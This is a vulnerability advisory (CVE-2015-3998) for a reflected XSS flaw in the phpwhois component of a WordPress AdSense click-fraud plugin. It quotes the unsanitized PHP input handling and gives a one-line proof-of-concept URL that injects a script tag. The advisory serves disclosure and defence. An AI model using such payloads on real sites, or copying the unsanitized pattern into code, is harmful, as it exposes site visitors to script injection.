Advisory #: 119
Title: Reflected XSS in Phpwhois component of adsense-click-fraud-monitoring wordpress plugin v1.7.5
Author: Larry W. Cashdollar, @_larry0
Date: 2015-05-11
[CVE-2015-3998]
Download Site: https://wordpress.org/plugins/adsense-click-fraud-monitoring/
Vendor:
Vendor Notified: 2015-05-12
Vendor Contact: dmitry@lukashin.ru
Advisory: http://www.vapid.dhs.org/advisory.php?v=119http://www.vapid.dhs.org/advisory.php?v=119
Description: Prevents to be banned and excluded from your AdSense account due to malicious or unintended third party clicks on advertisements on your website.
Vulnerability:
A component phpwhois 4.2.5 (http://phpwhois.pw https://github.com/phpWhois/phpWhois) packaged with this plugin contains a reflected XSS vulnerability due to not properly sanitizing user input before passing it to a html page: 36 if (isSet($_GET['query'])) 37 { 38 $query = $_GET['query']; 39 40 if (!empty($_GET['output'])) 41 $output = $_GET['output']; 42 else 43 $output = ''; . . 62 63 $result = $whois->Lookup($query); 64 $resout = str_replace('{query}', $query, $resout); 65 $winfo = ''; 66
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Exploit Code:
  1. http://www.vapidlabs.internal/wp-content/plugins/adsense-click-fraud-monitoring/phpwhois/whois.php?query=%27%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&output=nice
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